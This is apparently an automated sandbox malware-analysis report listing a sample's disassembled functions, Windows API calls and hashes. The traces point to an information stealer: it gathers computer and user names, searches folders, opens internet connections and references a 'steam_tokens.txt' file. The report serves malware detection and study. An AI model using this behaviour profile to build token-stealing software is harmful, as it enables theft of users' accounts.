Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction ID: 5fc3070f54b5ba386e916c7c3ae22cc6ad81f817c7a7f871d2ab45b9afc63085
Opcode Fuzzy Hash: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction Fuzzy Hash: 19215471900108EBCB14FFA5CC55FED7B79AF44345F10805AF51A97151EB386B84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F31618,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(00000000,00000000,0041D599,?,?,?,?,?,?,00412FF8,?), ref: 00412B5A

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F313A8), ref: 00404ED9

Strings

steam_tokens.txt, xrefs: 00412B6F

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$InternetOpen
String ID: steam_tokens.txt
API String ID: 2934705399-401951677
Opcode ID: 916fc54643702b41fa945fdcca647d5b6fe82b01d781dbf4c695136bec974f90
Instruction ID: 10dd2298c38adeb5e36390c5bfe4eda46295fd03d88468a146a299c80adb3810
Opcode Fuzzy Hash: 916fc54643702b41fa945fdcca647d5b6fe82b01d781dbf4c695136bec974f90
Instruction Fuzzy Hash: 18F08175D1020866CB18FBB2EC539ED773D9E54348B00425EF81662491EF38A788C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 004147C0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147CD
wsprintfA.USER32 ref: 004147E3

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F313A8), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: 288adfd48d74f32f4760d6a1da5f5e2f7486e60f4fb6e8a39f5a5abd236f6886
Instruction ID: df99340f366afcb3d937a345db0e295b6fae9bf0b5ece921659d29683b3ff0c0
Opcode Fuzzy Hash: 288adfd48d74f32f4760d6a1da5f5e2f7486e60f4fb6e8a39f5a5abd236f6886
Instruction Fuzzy Hash: 6CE114769101189BCF15EBA1DC92EEE773DBF54308F41415EF10676091EF38AA89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F313A8), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 873419cf89004f10324377c75aa41a8070af3b0d8254d6473e7e590ae2447e84
Instruction ID: 9f23dc4c71334aa449457ef7a0e8bbad4682aa92b3b7ddf60c673b4dae8ee631
Opcode Fuzzy Hash: 873419cf89004f10324377c75aa41a8070af3b0d8254d6473e7e590ae2447e84
Instruction Fuzzy Hash: FC9149729102049BCF14FBA1DC51EEE773DBF54308F41425EF50666091EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02F313A8), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 1fd99278f48f9b2090bcea7dfa5dbc1b459e280ce1393e8bd1607d24171c1f5f
Instruction ID: 57c8c1270dba92ae3db9aa8e51dd660502e79bf125d10b7c0566732e7217b02b
Opcode Fuzzy Hash: 1fd99278f48f9b2090bcea7dfa5dbc1b459e280ce1393e8bd1607d24171c1f5f
Instruction Fuzzy Hash: C07153759102049BCF14FBA1DC52DEE7739BF54308F41422EF506A7191EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004114C0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00411550

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction ID: 8f9af232e05b2939ec69b712380268a2006cbed21c6953bc19412128f28bf8b7
Opcode Fuzzy Hash: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction Fuzzy Hash: 0641F770A00A289FDB24DB58CC95BDBB7B5BB48702F4091C9A618A72E0D7716EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412A80 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412ABA
lstrcat.KERNEL32(?,02F349F8), ref: 00412AD8

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 8cbd95c3e8269f539c7f287b9bd39be3ed723717401f86313177d9a0446ce573
Instruction ID: bcc253f25bf78e1a0e90404f031f6467c50b05fa57c941630bc3dd144581bb5c
Opcode Fuzzy Hash: 8cbd95c3e8269f539c7f287b9bd39be3ed723717401f86313177d9a0446ce573
Instruction Fuzzy Hash: 8701B97A900608B7CB24FBB0DC47EDA773D9B54705F404189B64956091EE78AAC4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136DC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136DC), ref: 004010B7

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction ID: a2913bed729a6fe358320823385779fc3d8f71f1cc7b0a13f7ab4b92dd49de4a
Opcode Fuzzy Hash: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction Fuzzy Hash: 42F027B1641208BBE724DAF4AC59FAFF79CA745B05F304559F980E3390DA719F00CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415490 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 12a90ffd53372d6081d2cbb8c704563bca8e94431bbfc46e3c6309f10a122639
Instruction ID: 7a99a0210fb0b6ed6de77f6d22eec219e0a4aedfc9bcf57955c7481c69c901e8
Opcode Fuzzy Hash: 12a90ffd53372d6081d2cbb8c704563bca8e94431bbfc46e3c6309f10a122639
Instruction Fuzzy Hash: 9BF01C70C00608EBCB10EF94C9457DDBB74AF44315F10829AD82957380DB395A85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004154E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction ID: a2db4f6e5da6e8fb8430e81bb17b8e7aa1674d593408b434fe95881a23a64460
Opcode Fuzzy Hash: c4deb19243b673a040dfd5fdc436edaecc4a41164842cb033ff61c0adf53a60f
Instruction Fuzzy Hash: A8E01231A4034CABDB61DB90DC96FDD776C9B44B05F004295BA0C5A1C0DA70AB858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02F315B8,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction ID: 69e00d56220517d966a61d162f3bbf9e0969f4784ba4f73569e39f9695f87914
Opcode Fuzzy Hash: c5f9d553daa3d293cc675e83c5a49a4e0c2af81821706314cf681e3291f30800
Instruction Fuzzy Hash: 78E012B5E1070462CA1573B27E06BD7729D5F9930EF40142AFE0497253FD2DE45145BD

Uniqueness

Uniqueness Score: -1.00%

Function 00415530 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: d5c28e0c1c7e45756f81669eafe0f10d1f2d27191eaad386d3d0ade1da73dce0
Instruction ID: 5f6283e4cb308baa7d4615cf810ff09d37e65c2d0c188b0d2e4390bfcb6d80e5
Opcode Fuzzy Hash: d5c28e0c1c7e45756f81669eafe0f10d1f2d27191eaad386d3d0ade1da73dce0
Instruction Fuzzy Hash: 4701E834904508FFCF04CF98C585BEC7BB2AF44308F648089D9056B395D3789A84DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00414FF0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FF8

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CCF5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CCF5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCF54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCF54BE
__Init_thread_footer.LIBCMT ref: 6CCF54DB

Part of subcall function 6CD1AB3F: EnterCriticalSection.KERNEL32(6CD6E370,?,?,6CCE3527,6CD6F6CC,?,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB49
Part of subcall function 6CD1AB3F: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE3527,6CD6F6CC,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1AB7C

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

GetCurrentThreadId.KERNEL32 ref: 6CCF54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CCF5516
GetCurrentThreadId.KERNEL32 ref: 6CCF556A
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCF5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CCF5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CCF5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CCF55E6
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CCF5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCF5616

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

GetCurrentThreadId.KERNEL32 ref: 6CCF563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCF5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CCF567C
free.MOZGLUE(?), ref: 6CCF56AE

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CCF56E8
GetCurrentThreadId.KERNEL32 ref: 6CCF5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CCF570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CCF5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CCF574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CCF576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CCF5796
